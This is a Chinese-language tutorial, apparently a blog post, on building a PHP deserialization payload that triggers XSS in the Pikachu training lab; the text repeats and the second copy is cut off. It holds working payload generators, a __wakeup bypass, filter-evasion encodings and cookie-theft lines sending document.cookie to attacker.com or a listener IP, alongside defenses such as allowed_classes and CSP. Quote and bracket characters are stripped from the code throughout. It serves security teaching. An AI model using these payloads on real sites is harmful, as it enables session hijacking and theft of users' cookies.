1. 项目概述从靶场到实战的攻防演练最近在带团队做内部安全培训发现很多刚入行的安全工程师对Web漏洞的理解还停留在“知道概念”的层面一遇到需要自己动手构造攻击链的场景就有点懵。特别是像PHP反序列化这种原理听起来复杂实际利用起来又和XSS、文件包含这些漏洞千丝万缕不亲手在可控环境里“炸”几次很难形成肌肉记忆。这也是为什么我总推荐新手从Pikachu这类集成靶场开始——它把漏洞场景给你搭好了你要做的就是像个真正的攻击者一样去思考、去串联、去执行。今天要拆解的这个实战项目核心目标非常明确在Pikachu靶场的PHP反序列化漏洞场景下构造一个能够触发XSS跨站脚本攻击的Payload。这可不是简单的“弹个窗”就完事了。它考验的是你对PHP对象生命周期、魔术方法触发条件、以及浏览器端JavaScript执行上下文的综合理解。你需要知道序列化后的字符串长什么样更要理解这个字符串被“反”过来时PHP解释器是如何一步步执行代码最终让一段脚本在用户浏览器里跑起来的。整个过程就像在组装一个精密的逻辑炸弹每一步的零件属性值和组装顺序魔术方法调用链都不能错。这个练习适合所有对Web安全感兴趣的朋友无论你是想转行安全开发、做渗透测试还是后端开发想提升自己的代码安全意识。通过这个手把手的演练你不仅能看懂一个复杂的攻击Payload更能掌握“为什么这样构造”的底层逻辑以后在代码审计或安全测试中就能一眼识别出这类风险点。2. 核心原理拆解序列化、魔术方法与攻击链的形成要构造有效的攻击Payload不能当个“脚本小子”只管复制粘贴必须把背后的运转机制吃透。我们得一层层剥开来看。2.1 PHP序列化与反序列化数据的“冷冻”与“复活”你可以把PHP的序列化serialize()想象成给一个复杂的、活生生的对象拍一张X光片。这个对象可能有各种属性胳膊、腿、私有的信息内脏序列化过程就是生成一份描述这张“结构图”的文本说明书。这份说明书序列化字符串方便存储或传输。而反序列化unserialize()就是对照这份说明书把对象重新“组装”成活生生的状态。一个简单的类序列化后可能是这样的O:4:Test:2:{s:4:name;s:5:Alice;s:3:age;i:25;}拆解一下O:4:Test表示这是一个对象Object类名Test长度为4个字符。:2:表示这个对象有2个属性。{s:4:name;s:5:Alice;第一个属性。s:4:name表示属性名是字符串长度4值为name。s:5:Alice表示属性值是字符串长度5值为Alice。s:3:age;i:25;}第二个属性。名称为age值为整数25。漏洞的根源就在于反序列化过程是“盲目的”。它只关心说明书的结构是否正确并忠实地按照说明书去复活对象。如果攻击者能够控制这份“说明书”即传入unserialize()的参数他就可以在说明书里“夹带私货”让复活的对象执行一些意想不到的操作。这就是反序列化漏洞的起点。2.2 魔术方法攻击者的“后门”与“跳板”PHP类中的魔术方法Magic Methods是以双下划线__开头的方法它们会在特定时机被自动调用。在反序列化攻击链中以下几个方法是关键“跳板”__wakeup()当一个对象被反序列化即“复活”后__wakeup()方法会立即自动调用。这是攻击链最常用的入口点。攻击者会寻找那些在__wakeup()中执行了危险操作如文件操作、命令执行、写日志的类。__destruct()当对象被销毁时如脚本执行结束、对象被显式unset__destruct()方法会被调用。由于反序列化创建的对象在脚本结束时总会被销毁所以__destruct()是另一个非常可靠的触发点。__toString()当一个对象被当作字符串处理时如echo $obj;或字符串拼接该方法会被调用。如果程序在某个地方无意中把用户可控的反序列化对象当成了字符串这里就可能成为攻击链的一环。__get()/__set()当访问或设置一个不可访问如private或不存在的属性时触发。有时可用于属性操控。攻击者的核心思路是控制反序列化数据 - 触发对象的魔术方法 - 在魔术方法中执行恶意代码。Pikachu靶场为我们预设了存在漏洞的类结构我们的任务就是找到这个“跳板”方法并精心设计Payload去触发它。2.3 XSS攻击的最终达成从服务端到客户端的链式反应我们本次的目标是XSS这是一种客户端攻击。但我们的起点是服务端的PHP反序列化漏洞。这条攻击链是如何连接的呢典型的路径是这样的服务端入口攻击者将恶意构造的序列化字符串Payload提交给存在反序列化漏洞的接口例如一个接收data参数并直接进行unserialize($_POST[data])的PHP文件。对象复活与恶意执行服务端反序列化该Payload复活恶意对象并自动触发其魔术方法如__wakeup。在这个魔术方法中攻击者预设的代码会执行。注意到目前为止代码仍在服务器端的PHP环境中运行。向客户端输出恶意脚本关键的一步来了。在魔术方法执行的恶意代码中攻击者可以通过echo、file_put_contents写入页面、修改数据库内容等方式向最终返回给用户的HTML页面中注入JavaScript代码。例如将scriptalert(XSS)/script写入某个会被其他用户访问的页面或数据字段。客户端触发当其他用户受害者访问这个被篡改的页面时其浏览器会加载并执行页面中被注入的恶意JavaScript从而触发XSS攻击。这可能造成Cookie窃取、会话劫持、页面篡改等后果。所以我们的Payload构造核心是让反序列化后的对象在其魔术方法里完成向输出内容写入JS脚本的动作。3. 靶场环境分析与漏洞代码审计在动手构造之前我们必须先当好一个“侦探”仔细分析Pikachu靶场提供的漏洞场景。盲目测试是低效的。3.1 Pikachu靶场反序列化漏洞模块定位启动Pikachu靶场后通常在侧边栏的“漏洞模块”下可以找到“PHP反序列化”。点击进入你会看到一个简单的输入表单可能提示你输入一段序列化后的数据。提交后后端代码会对这个数据进行反序列化操作。我们的目标就是让这个反序列化过程最终弹出一个XSS警告框。注意不同版本的Pikachu靶场前端界面和后端代码可能略有差异但核心漏洞原理和利用方式相通。如果界面不同请根据提示灵活调整。3.2 关键漏洞源码推理与审计虽然靶场隐藏了具体源码以增加难度但根据常见的出题思路和PHP反序列化漏洞的范式我们可以合理推断出后端存在漏洞的代码结构。一个典型的教学用漏洞类可能如下所示// vul.php 或类似的后端处理文件 class VulnClass { public $data scriptalert(This is safe data)/script; public function __wakeup() { // 漏洞点在__wakeup中直接使用了$this-data并可能将其输出 echo Wake up! Data: . $this-data . br; // 或者更危险将其写入文件或数据库 // file_put_contents(log.txt, $this-data, FILE_APPEND); } } // 获取用户输入 $input $_POST[serialized_data] ?? ; if (!empty($input)) { // 致命漏洞未经过滤直接反序列化用户输入 $obj unserialize($input); }代码风险点分析用户输入可控$input直接来自$_POST攻击者可以传入任意序列化字符串。危险魔术方法VulnClass类定义了__wakeup()方法。该方法在反序列化后立即执行。敏感操作在__wakeup()中直接操作了$this-data属性并将其输出echo。如果$this-data被控制输出内容就完全可控。XSS触发点echo语句将$this-data的内容直接送入HTTP响应流。如果$this-data包含如scriptalert(XSS)/script的字符串它就会被作为HTML的一部分发送给浏览器。浏览器在解析响应时遇到script标签就会执行其中的JavaScript代码。攻击路径总结控制$input- 反序列化生成我们控制的VulnClass对象 - 自动触发__wakeup()-__wakeup()中的echo语句输出我们预设的$data属性值恶意JS代码- 浏览器执行JSXSS触发。3.3 确定攻击属性与目标根据以上分析我们的攻击目标非常清晰目标类名VulnClass需根据实际靶场提示或代码推测确认这里为示例。目标属性$data。我们需要在序列化字符串中将这个属性的值设置为我们的XSS Payload。触发方法__wakeup()。只要反序列化成功该方法必被调用是我们的可靠触发点。4. 手把手构造反序列化XSS Payload理论清晰了现在进入最关键的实操环节一步步构造出能用的攻击字符串。4.1 编写恶意类定义本地构造用首先我们在自己的测试环境或直接通过PHP交互模式中模拟漏洞类的结构并生成Payload。注意我们不需要靶场完整的类定义只需要知道类名和我们要操控的属性即可。// payload_generator.php class VulnClass { public $data; // 我们将控制这个属性 } // 实例化对象并赋值 $obj new VulnClass(); // 将XSS代码赋值给$data属性。这里是最简单的弹窗。 $obj-data scriptalert(XSS from Unserialize!)/script; // 关键步骤序列化对象 $serialized_payload serialize($obj); echo 生成的Payload: \n; echo $serialized_payload; echo \n\nURL编码后的Payload用于POST提交: \n; echo urlencode($serialized_payload);将上述代码保存为payload_generator.php在命令行执行php payload_generator.php你会得到类似下面的输出生成的Payload: O:9:VulnClass:1:{s:4:data;s:46:scriptalert(XSS from Unserialize!)/script;} URL编码后的Payload用于POST提交: O%3A9%3A%22VulnClass%22%3A1%3A%7Bs%3A4%3A%22data%22%3Bs%3A46%3A%22%3Cscript%3Ealert%28%27XSSfromUnserialize%21%27%29%3C%2Fscript%3E%22%3B%7D解读生成的PayloadO:9:VulnClass对象类名VulnClass9个字符。:1:该对象有1个属性。{s:4:data;s:46:...;}属性名为data字符串4字节属性值为我们的XSS脚本字符串46字节。这个字符串就是我们的“炮弹”。4.2 使用工具进行Payload提交与测试拿到Payload后我们回到Pikachu靶场页面。通常这里会有一个表单有一个文本输入框可能叫data或input和一个提交按钮。方法一浏览器开发者工具直接提交打开浏览器开发者工具F12切换到“网络”Network标签页。在靶场表单的输入框里粘贴我们生成的原始Payload未URL编码的即O:9:VulnClass...那一长串。点击提交按钮。在“网络”标签页中找到刚刚发出的请求通常是POST请求。点击查看“载荷”Payload或“请求正文”Request Body。你会看到表单数据例如serialized_dataO%3A9%3A...。这说明浏览器自动帮我们进行了URL编码。如果攻击成功页面应该会弹出警告框。方法二使用Burp Suite或Postman等工具对于更复杂的测试或自动化推荐使用专业工具。用Burp Suite拦截浏览器提交的请求。在Proxy - Intercept标签页当请求被拦截时直接修改POST请求体。将serialized_data参数的值替换为我们的Payload原始或URL编码均可但通常需要URL编码。点击“Forward”发送请求观察响应。预期结果如果靶场漏洞存在且Payload构造正确你应该能在页面看到“Wake up! Data: ”字样紧接着浏览器会弹出一个警告框显示“XSS from Unserialize!”。这证明反序列化触发__wakeup()输出了我们控制的$data并且其中的script标签被浏览器成功解析执行。4.3 Payload构造的进阶技巧与变形一次简单的弹窗只是开始。在实际的安全测试或CTF中情况会更复杂。技巧一处理属性可见性Public/Private/Protected如果类中的属性是private或protected序列化后的格式会不同。private $data;序列化后属性名会变为%00类名%00属性名%00是空字符的URL编码。protected $data;序列化后属性名会变为%00*%00属性名。例如对于private $data生成的Payload会类似O:9:VulnClass:1:{s:14:%00VulnClass%00data;s:46:scriptalert(XSS)/script;}在Burp Suite等工具中修改时必须正确包含这些空字符。在PHP代码中生成时serialize()函数会自动处理我们只需确保类定义匹配。技巧二利用__destruct()方法如果__wakeup()方法被过滤或无法利用而类有__destruct()方法攻击链可以转向这里。构造方式完全一样因为对象在脚本结束时总会销毁。只需确保你的Payload能成功反序列化剩下的交给PHP生命周期。技巧三XSS Payload的多样化弹窗alert()只是证明漏洞存在。真实的XSS攻击载荷可能更危险窃取Cookiescriptdocument.locationhttp://attacker.com/steal?cdocument.cookie/script键盘记录注入复杂的JS脚本记录用户输入。钓鱼伪造登录框。在构造时需要注意引号的转义。在PHP字符串中我们使用了单引号来包裹JavaScript字符串。如果后端对输出内容有简单的过滤可能需要进行编码绕过例如使用HTML实体或JS Unicode编码。// 使用HTML实体 $obj-data scriptalert(#39;XSS#39;)/script; // 或使用JS Unicode编码 $obj-data scriptalert(\u0027XSS\u0027)/script;5. 实战过程全记录与深度解析让我们模拟一次完整的、接近真实场景的攻防演练假设我们对靶场代码一无所知需要进行黑盒与灰盒测试结合。5.1 信息收集与初步探测首先访问Pikachu反序列化漏洞页面。假设页面只有一个文本框和提交按钮没有任何提示。尝试输入普通数据输入test并提交。页面可能返回错误如“反序列化失败”或“数据不正确”。这证实后端确实调用了unserialize()。尝试输入标准序列化数据输入一个最简单的序列化字符串如a:1:{s:3:key;s:5:value;}这是一个数组的序列化。提交后观察回显。如果页面有变化或显示了数组内容说明反序列化成功并且程序可能对结果进行了输出。探测类名这是一个关键且困难的点。在真实黑盒测试中可能需要报错信息泄露提交畸形的序列化字符串如O:7:Unknown:0:{}看是否报错显示“Class ‘Unknown’ not found”。如果显示可以不断尝试常见类名如stdClass,Exception等或根据CMS、框架特征猜解。源代码泄露尝试访问/vul.php~,/index.php.bak,/.git等看是否能下载到源码。Pikachu靶场特性在Pikachu中为了教学类名可能是预设好的如TestClass,VulnClass,MyClass等可以尝试。5.2 基于推测的Payload构造与测试假设我们通过某种方式如查看Pikachu的源码目录这是允许的学习行为得知了类名为VulnClass且有一个公共属性$data。我们编写测试脚本分步生成Payload并测试// 测试脚本 test_payload.php $guess_classname [VulnClass, TestClass, MyClass]; $payloads []; foreach ($guess_classname as $cn) { $fake_class new stdClass(); // 创建一个匿名类用于序列化指定类名的对象。更直接的方式是定义类。 // 由于PHP特性直接序列化stdClass并修改类名字符串是无效的。 // 正确做法是动态创建类定义并序列化。 eval(class $cn { public \$data test; }); // 注意eval仅在完全可控环境使用 $obj eval(return new $cn();); $obj-data scriptalert(1)/script; $payloads[$cn] serialize($obj); } print_r($payloads);重要警告eval()函数极其危险切勿在生产环境或未知代码中使用。此处仅用于演示本地测试环境下的动态类创建。在实际操作中更安全的方式是手动修改序列化字符串中的类名部分。例如我们有一个已知的VulnClass的Payload但想测试AnotherClass可以直接用文本编辑器或字符串替换函数修改$payload_for_vuln O:9:VulnClass:1:{s:4:data;s:20:scriptalert(1)/script;}; $payload_for_another str_replace(VulnClass, AnotherClass, $payload_for_vuln);5.3 攻击成功后的行为验证与影响分析当提交Payload后浏览器成功弹出警告框攻击成功。但这只是第一步。我们需要深入验证确认执行上下文弹窗的JS代码是在当前页面域下执行的。我们可以构造一个Payload来证明这一点scriptalert(document.domain)/script它应该弹出当前靶场的域名如localhost。验证持久化检查这次攻击是否是“持久型XSS”。刷新页面甚至用另一个浏览器或隐身窗口访问同一个反序列化功能页面看是否还会弹窗。如果会说明我们的恶意数据可能被保存到了服务器如数据库、文件、Session影响了其他用户。这才是最具威胁的。尝试更具危害的Payload在授权测试的靶场内可以尝试构造窃取Cookie的Payload并搭建一个简单的接收服务器例如用Python的http.server模块来验证数据能否被送出。$obj-data scriptvar imgnew Image();img.srchttp://你的IP:端口/steal?cencodeURIComponent(document.cookie);/script;在接收端观察是否有请求到来。通过这一系列操作你不仅证明了漏洞的存在更评估了其实际危害等级。6. 防御策略与安全编程实践作为开发者了解攻击是为了更好的防御。针对PHP反序列化漏洞必须采取多层次的安全措施。6.1 输入验证与过滤第一道防线永远不要信任用户输入。对于反序列化操作最直接的防御就是避免反序列化不可信的数据。白名单校验如果业务必须使用序列化数据应确保其来源绝对可靠。例如只反序列化来自内部系统、经过数字签名验证的数据。数据格式校验在反序列化前对字符串进行严格的格式检查。例如检查其是否是合法的序列化格式虽然复杂但可以通过正则进行初步判断或者只接受特定简单类型如仅包含基本类型和指定类名的数组。6.2 使用安全的反序列化函数与机制json_encode()/json_decode()对于简单的数据存储和传输优先使用JSON格式。JSON没有自动执行代码的魔术方法机制比PHP序列化安全得多。限制反序列化类PHP提供了unserialize()的第二个参数$options通过设置[allowed_classes false]可以禁止反序列化任何对象类型只还原基本数据类型数组、字符串、数字等。这是PHP 7.0后非常重要的安全特性。$data unserialize($user_input, [allowed_classes false]);如果业务必须还原对象可以将allowed_classes设置为一个明确的白名单数组$data unserialize($user_input, [allowed_classes [SafeClassA, SafeClassB]]);使用__sleep()和__wakeup()的注意事项在类设计中__wakeup()方法应只用于初始化操作避免包含复杂的业务逻辑、文件操作或数据库查询。__destruct()同理。6.3 安全审计与依赖管理代码审计定期对代码进行安全审计重点关注所有unserialize()函数的调用点追溯其参数来源。使用静态代码分析工具如phpcs配合安全规则、RIPS等进行自动化扫描。依赖库检查很多反序列化漏洞出现在第三方库如PHPGGC工具集针对的ThinkPHP、Laravel等框架的漏洞。保持框架和库的更新至最新安全版本。Web应用防火墙WAF部署WAF可以拦截常见的反序列化攻击Payload但这不是根本解决方案只能作为缓解措施。6.4 针对本案例XSS的额外防御即使反序列化漏洞被利用我们还可以在输出端阻止XSS的发生这属于“纵深防御”。输出编码所有输出到HTML页面的数据都必须根据上下文进行编码。输出到HTML正文使用htmlspecialchars($data, ENT_QUOTES, UTF-8)。输出到HTML属性同样使用htmlspecialchars。输出到JavaScript使用json_encode()。内容安全策略CSP通过HTTP头Content-Security-Policy限制页面可以加载和执行脚本的来源可以有效缓解甚至阻止XSS攻击。例如设置只允许执行同源脚本Content-Security-Policy: script-src self。7. 常见问题排查与实战心得在实战和教学过程中我遇到了各种各样的问题这里把一些典型的坑和解决思路记录下来。7.1 Payload提交后无反应或报错问题现象可能原因排查步骤与解决方案页面空白或500错误Payload格式错误导致unserialize()失败或触发PHP致命错误。1. 检查序列化字符串格式括号是否匹配字符串长度s:后的数字是否与实际字符数完全一致一个中文UTF-8通常算3个字符。2. 检查类名是否正确。在靶场中类名可能大小写敏感。3. 使用error_reporting(E_ALL); ini_set(display_errors, 1);开启后端错误显示如果可控查看具体错误信息。显示“反序列化失败”等提示但无弹窗反序列化成功但XSS Payload未执行。1.检查属性名属性是public、private还是protected序列化字符串中的属性名部分必须完全匹配包括空字符%00。2.检查输出点__wakeup()或__destruct()方法是否真的将$data输出到了HTML页面可能只是赋值给了另一个变量或写入了数据库。需要追踪代码逻辑。3.检查XSS过滤后端是否对输出内容进行了HTML编码或过滤了script标签尝试使用大小写混淆、事件处理器如onload、onerror、SVG标签等变形XSS Payload进行绕过测试。例如img srcx onerroralert(1)。弹窗被浏览器拦截现代浏览器如Chrome的内置XSS过滤器XSS Auditor可能拦截了反射型XSS。1. 尝试使用更隐蔽的Payload避免明显的scriptalert模式。2. 测试是否在input标签的value属性中触发这可能需要闭合引号和标签如scriptalert(1)/script。3. 确认攻击场景。如果是存储型XSS通常不会被浏览器前端拦截。7.2 关于魔术方法不触发的深度排查有时Payload反序列化成功了无错误但预期的魔术方法如__wakeup里的代码没执行。检查__wakeup方法是否存在你序列化的类必须定义了__wakeup方法。如果靶场用的是另一个类如ExampleClass而你用VulnClass去序列化虽然反序列化可能不报错如果属性兼容但不会触发VulnClass的__wakeup因为PHP复活的是ExampleClass的对象。__wakeup被绕过CVE-2016-7124这是一个著名的PHP漏洞。当序列化字符串中对象属性个数的值O:9:VulnClass:1:中的1大于真实属性个数时__wakeup方法将不会被执行。而__destruct方法仍会执行。这在CTF中常考。漏洞利用将Payload中的属性计数改大例如O:9:VulnClass:10:{s:4:data;s:20:scriptalert(1)/script;}。这样__wakeup被跳过但如果类有__destruct攻击链可以转向那里。PHP版本差异不同PHP版本对序列化机制的处理有细微差别确保测试环境与靶场环境一致。7.3 我的实战心得与技巧从简单到复杂构造Payload时先用一个最简单的字符串如test123赋值给目标属性确认反序列化和输出流程是通的。然后再替换成复杂的HTML/JS代码。善用编码工具除了用PHP的serialize()还可以使用在线PHP序列化工具注意安全勿处理敏感数据或Python的phpserialize库来辅助生成和调试Payload特别是在处理私有、保护属性时。注意字符串长度序列化格式中的s:46:里的数字必须精确等于后面字符串的字节数。使用strlen()函数计算时要确保是字节长度而非字符长度对多字节字符有区别。一个稳妥的方法是让PHP自己生成或者生成后仔细核对。利用PHP内置类高级技巧有时目标应用没有明显的漏洞类但PHP内置的类如SimpleXMLElement、ArrayObject、Exception也可能被利用通过它们的方法或属性触发一些危险操作如文件读写、XXE。这需要更深入的研究。思维不要局限反序列化漏洞的终点不一定是XSS。它可以是文件写入写Webshell、数据库操作、甚至通过phar://包装器触发反序列化。理解漏洞的本质是“控制数据流触发危险函数”就能举一反三。最后记住一点在Pikachu这样的靶场里你可以尽情尝试各种“危险”操作这是学习的最佳方式。但一旦走出靶场面对真实的系统必须遵守法律和道德规范只在获得明确授权的范围内进行安全测试。
PHP反序列化漏洞实战:从靶场到XSS攻击链构造
发布时间:2026/7/7 20:22:16
1. 项目概述从靶场到实战的攻防演练最近在带团队做内部安全培训发现很多刚入行的安全工程师对Web漏洞的理解还停留在“知道概念”的层面一遇到需要自己动手构造攻击链的场景就有点懵。特别是像PHP反序列化这种原理听起来复杂实际利用起来又和XSS、文件包含这些漏洞千丝万缕不亲手在可控环境里“炸”几次很难形成肌肉记忆。这也是为什么我总推荐新手从Pikachu这类集成靶场开始——它把漏洞场景给你搭好了你要做的就是像个真正的攻击者一样去思考、去串联、去执行。今天要拆解的这个实战项目核心目标非常明确在Pikachu靶场的PHP反序列化漏洞场景下构造一个能够触发XSS跨站脚本攻击的Payload。这可不是简单的“弹个窗”就完事了。它考验的是你对PHP对象生命周期、魔术方法触发条件、以及浏览器端JavaScript执行上下文的综合理解。你需要知道序列化后的字符串长什么样更要理解这个字符串被“反”过来时PHP解释器是如何一步步执行代码最终让一段脚本在用户浏览器里跑起来的。整个过程就像在组装一个精密的逻辑炸弹每一步的零件属性值和组装顺序魔术方法调用链都不能错。这个练习适合所有对Web安全感兴趣的朋友无论你是想转行安全开发、做渗透测试还是后端开发想提升自己的代码安全意识。通过这个手把手的演练你不仅能看懂一个复杂的攻击Payload更能掌握“为什么这样构造”的底层逻辑以后在代码审计或安全测试中就能一眼识别出这类风险点。2. 核心原理拆解序列化、魔术方法与攻击链的形成要构造有效的攻击Payload不能当个“脚本小子”只管复制粘贴必须把背后的运转机制吃透。我们得一层层剥开来看。2.1 PHP序列化与反序列化数据的“冷冻”与“复活”你可以把PHP的序列化serialize()想象成给一个复杂的、活生生的对象拍一张X光片。这个对象可能有各种属性胳膊、腿、私有的信息内脏序列化过程就是生成一份描述这张“结构图”的文本说明书。这份说明书序列化字符串方便存储或传输。而反序列化unserialize()就是对照这份说明书把对象重新“组装”成活生生的状态。一个简单的类序列化后可能是这样的O:4:Test:2:{s:4:name;s:5:Alice;s:3:age;i:25;}拆解一下O:4:Test表示这是一个对象Object类名Test长度为4个字符。:2:表示这个对象有2个属性。{s:4:name;s:5:Alice;第一个属性。s:4:name表示属性名是字符串长度4值为name。s:5:Alice表示属性值是字符串长度5值为Alice。s:3:age;i:25;}第二个属性。名称为age值为整数25。漏洞的根源就在于反序列化过程是“盲目的”。它只关心说明书的结构是否正确并忠实地按照说明书去复活对象。如果攻击者能够控制这份“说明书”即传入unserialize()的参数他就可以在说明书里“夹带私货”让复活的对象执行一些意想不到的操作。这就是反序列化漏洞的起点。2.2 魔术方法攻击者的“后门”与“跳板”PHP类中的魔术方法Magic Methods是以双下划线__开头的方法它们会在特定时机被自动调用。在反序列化攻击链中以下几个方法是关键“跳板”__wakeup()当一个对象被反序列化即“复活”后__wakeup()方法会立即自动调用。这是攻击链最常用的入口点。攻击者会寻找那些在__wakeup()中执行了危险操作如文件操作、命令执行、写日志的类。__destruct()当对象被销毁时如脚本执行结束、对象被显式unset__destruct()方法会被调用。由于反序列化创建的对象在脚本结束时总会被销毁所以__destruct()是另一个非常可靠的触发点。__toString()当一个对象被当作字符串处理时如echo $obj;或字符串拼接该方法会被调用。如果程序在某个地方无意中把用户可控的反序列化对象当成了字符串这里就可能成为攻击链的一环。__get()/__set()当访问或设置一个不可访问如private或不存在的属性时触发。有时可用于属性操控。攻击者的核心思路是控制反序列化数据 - 触发对象的魔术方法 - 在魔术方法中执行恶意代码。Pikachu靶场为我们预设了存在漏洞的类结构我们的任务就是找到这个“跳板”方法并精心设计Payload去触发它。2.3 XSS攻击的最终达成从服务端到客户端的链式反应我们本次的目标是XSS这是一种客户端攻击。但我们的起点是服务端的PHP反序列化漏洞。这条攻击链是如何连接的呢典型的路径是这样的服务端入口攻击者将恶意构造的序列化字符串Payload提交给存在反序列化漏洞的接口例如一个接收data参数并直接进行unserialize($_POST[data])的PHP文件。对象复活与恶意执行服务端反序列化该Payload复活恶意对象并自动触发其魔术方法如__wakeup。在这个魔术方法中攻击者预设的代码会执行。注意到目前为止代码仍在服务器端的PHP环境中运行。向客户端输出恶意脚本关键的一步来了。在魔术方法执行的恶意代码中攻击者可以通过echo、file_put_contents写入页面、修改数据库内容等方式向最终返回给用户的HTML页面中注入JavaScript代码。例如将scriptalert(XSS)/script写入某个会被其他用户访问的页面或数据字段。客户端触发当其他用户受害者访问这个被篡改的页面时其浏览器会加载并执行页面中被注入的恶意JavaScript从而触发XSS攻击。这可能造成Cookie窃取、会话劫持、页面篡改等后果。所以我们的Payload构造核心是让反序列化后的对象在其魔术方法里完成向输出内容写入JS脚本的动作。3. 靶场环境分析与漏洞代码审计在动手构造之前我们必须先当好一个“侦探”仔细分析Pikachu靶场提供的漏洞场景。盲目测试是低效的。3.1 Pikachu靶场反序列化漏洞模块定位启动Pikachu靶场后通常在侧边栏的“漏洞模块”下可以找到“PHP反序列化”。点击进入你会看到一个简单的输入表单可能提示你输入一段序列化后的数据。提交后后端代码会对这个数据进行反序列化操作。我们的目标就是让这个反序列化过程最终弹出一个XSS警告框。注意不同版本的Pikachu靶场前端界面和后端代码可能略有差异但核心漏洞原理和利用方式相通。如果界面不同请根据提示灵活调整。3.2 关键漏洞源码推理与审计虽然靶场隐藏了具体源码以增加难度但根据常见的出题思路和PHP反序列化漏洞的范式我们可以合理推断出后端存在漏洞的代码结构。一个典型的教学用漏洞类可能如下所示// vul.php 或类似的后端处理文件 class VulnClass { public $data scriptalert(This is safe data)/script; public function __wakeup() { // 漏洞点在__wakeup中直接使用了$this-data并可能将其输出 echo Wake up! Data: . $this-data . br; // 或者更危险将其写入文件或数据库 // file_put_contents(log.txt, $this-data, FILE_APPEND); } } // 获取用户输入 $input $_POST[serialized_data] ?? ; if (!empty($input)) { // 致命漏洞未经过滤直接反序列化用户输入 $obj unserialize($input); }代码风险点分析用户输入可控$input直接来自$_POST攻击者可以传入任意序列化字符串。危险魔术方法VulnClass类定义了__wakeup()方法。该方法在反序列化后立即执行。敏感操作在__wakeup()中直接操作了$this-data属性并将其输出echo。如果$this-data被控制输出内容就完全可控。XSS触发点echo语句将$this-data的内容直接送入HTTP响应流。如果$this-data包含如scriptalert(XSS)/script的字符串它就会被作为HTML的一部分发送给浏览器。浏览器在解析响应时遇到script标签就会执行其中的JavaScript代码。攻击路径总结控制$input- 反序列化生成我们控制的VulnClass对象 - 自动触发__wakeup()-__wakeup()中的echo语句输出我们预设的$data属性值恶意JS代码- 浏览器执行JSXSS触发。3.3 确定攻击属性与目标根据以上分析我们的攻击目标非常清晰目标类名VulnClass需根据实际靶场提示或代码推测确认这里为示例。目标属性$data。我们需要在序列化字符串中将这个属性的值设置为我们的XSS Payload。触发方法__wakeup()。只要反序列化成功该方法必被调用是我们的可靠触发点。4. 手把手构造反序列化XSS Payload理论清晰了现在进入最关键的实操环节一步步构造出能用的攻击字符串。4.1 编写恶意类定义本地构造用首先我们在自己的测试环境或直接通过PHP交互模式中模拟漏洞类的结构并生成Payload。注意我们不需要靶场完整的类定义只需要知道类名和我们要操控的属性即可。// payload_generator.php class VulnClass { public $data; // 我们将控制这个属性 } // 实例化对象并赋值 $obj new VulnClass(); // 将XSS代码赋值给$data属性。这里是最简单的弹窗。 $obj-data scriptalert(XSS from Unserialize!)/script; // 关键步骤序列化对象 $serialized_payload serialize($obj); echo 生成的Payload: \n; echo $serialized_payload; echo \n\nURL编码后的Payload用于POST提交: \n; echo urlencode($serialized_payload);将上述代码保存为payload_generator.php在命令行执行php payload_generator.php你会得到类似下面的输出生成的Payload: O:9:VulnClass:1:{s:4:data;s:46:scriptalert(XSS from Unserialize!)/script;} URL编码后的Payload用于POST提交: O%3A9%3A%22VulnClass%22%3A1%3A%7Bs%3A4%3A%22data%22%3Bs%3A46%3A%22%3Cscript%3Ealert%28%27XSSfromUnserialize%21%27%29%3C%2Fscript%3E%22%3B%7D解读生成的PayloadO:9:VulnClass对象类名VulnClass9个字符。:1:该对象有1个属性。{s:4:data;s:46:...;}属性名为data字符串4字节属性值为我们的XSS脚本字符串46字节。这个字符串就是我们的“炮弹”。4.2 使用工具进行Payload提交与测试拿到Payload后我们回到Pikachu靶场页面。通常这里会有一个表单有一个文本输入框可能叫data或input和一个提交按钮。方法一浏览器开发者工具直接提交打开浏览器开发者工具F12切换到“网络”Network标签页。在靶场表单的输入框里粘贴我们生成的原始Payload未URL编码的即O:9:VulnClass...那一长串。点击提交按钮。在“网络”标签页中找到刚刚发出的请求通常是POST请求。点击查看“载荷”Payload或“请求正文”Request Body。你会看到表单数据例如serialized_dataO%3A9%3A...。这说明浏览器自动帮我们进行了URL编码。如果攻击成功页面应该会弹出警告框。方法二使用Burp Suite或Postman等工具对于更复杂的测试或自动化推荐使用专业工具。用Burp Suite拦截浏览器提交的请求。在Proxy - Intercept标签页当请求被拦截时直接修改POST请求体。将serialized_data参数的值替换为我们的Payload原始或URL编码均可但通常需要URL编码。点击“Forward”发送请求观察响应。预期结果如果靶场漏洞存在且Payload构造正确你应该能在页面看到“Wake up! Data: ”字样紧接着浏览器会弹出一个警告框显示“XSS from Unserialize!”。这证明反序列化触发__wakeup()输出了我们控制的$data并且其中的script标签被浏览器成功解析执行。4.3 Payload构造的进阶技巧与变形一次简单的弹窗只是开始。在实际的安全测试或CTF中情况会更复杂。技巧一处理属性可见性Public/Private/Protected如果类中的属性是private或protected序列化后的格式会不同。private $data;序列化后属性名会变为%00类名%00属性名%00是空字符的URL编码。protected $data;序列化后属性名会变为%00*%00属性名。例如对于private $data生成的Payload会类似O:9:VulnClass:1:{s:14:%00VulnClass%00data;s:46:scriptalert(XSS)/script;}在Burp Suite等工具中修改时必须正确包含这些空字符。在PHP代码中生成时serialize()函数会自动处理我们只需确保类定义匹配。技巧二利用__destruct()方法如果__wakeup()方法被过滤或无法利用而类有__destruct()方法攻击链可以转向这里。构造方式完全一样因为对象在脚本结束时总会销毁。只需确保你的Payload能成功反序列化剩下的交给PHP生命周期。技巧三XSS Payload的多样化弹窗alert()只是证明漏洞存在。真实的XSS攻击载荷可能更危险窃取Cookiescriptdocument.locationhttp://attacker.com/steal?cdocument.cookie/script键盘记录注入复杂的JS脚本记录用户输入。钓鱼伪造登录框。在构造时需要注意引号的转义。在PHP字符串中我们使用了单引号来包裹JavaScript字符串。如果后端对输出内容有简单的过滤可能需要进行编码绕过例如使用HTML实体或JS Unicode编码。// 使用HTML实体 $obj-data scriptalert(#39;XSS#39;)/script; // 或使用JS Unicode编码 $obj-data scriptalert(\u0027XSS\u0027)/script;5. 实战过程全记录与深度解析让我们模拟一次完整的、接近真实场景的攻防演练假设我们对靶场代码一无所知需要进行黑盒与灰盒测试结合。5.1 